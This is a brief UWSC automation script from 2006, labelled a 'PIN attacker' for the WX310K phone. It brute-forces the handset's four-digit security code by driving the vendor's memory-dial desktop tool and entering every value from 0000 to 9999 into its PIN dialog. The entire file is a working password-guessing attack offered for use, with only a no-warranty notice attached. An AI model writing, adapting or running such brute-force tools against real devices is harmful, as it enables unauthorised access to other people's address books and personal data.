// WX310K暗証番号アタッカー ver.0.1 // (C)2006 Y.AKAGI // このスクリプトは無保証です。 chkpw=-1 for j=1 to 910 MNID =GETID("メモリダイヤルツール", , 1) ClkItem(MNID,"電話機からアドレス帳を読み込み") while true dtid=getid("データ読み込み確認",,1) if dtid>=0 then break Sleep(0.1) wend ClkItem(dtid, "OK") sleep(0.1) FOR I=0 TO 10 while true KYID=GETID("メモリダイヤルツール",,0.1) BTNID=CHKBTN(KYID,"OK") if BTNID>=0 then break Sleep(0.1) wend chkpw=chkpw+1 if chkpw>9999 then break chkpws=FORMAT(chkpw,4) chkpws=CHGMOJ(chkpws," ","0") SENDSTR(KYID,chkpws) ClkItem(KYID, "OK") fukidasi(chkpws) NEXT while true KYID =GETID("メモリダイヤルツール",,1) BTNID=CHKBTN(KYID,"OK") if BTNID>=0 then break Sleep(0.1) wend ClkItem(KYID, "Cancel") next MsgBox("おわり")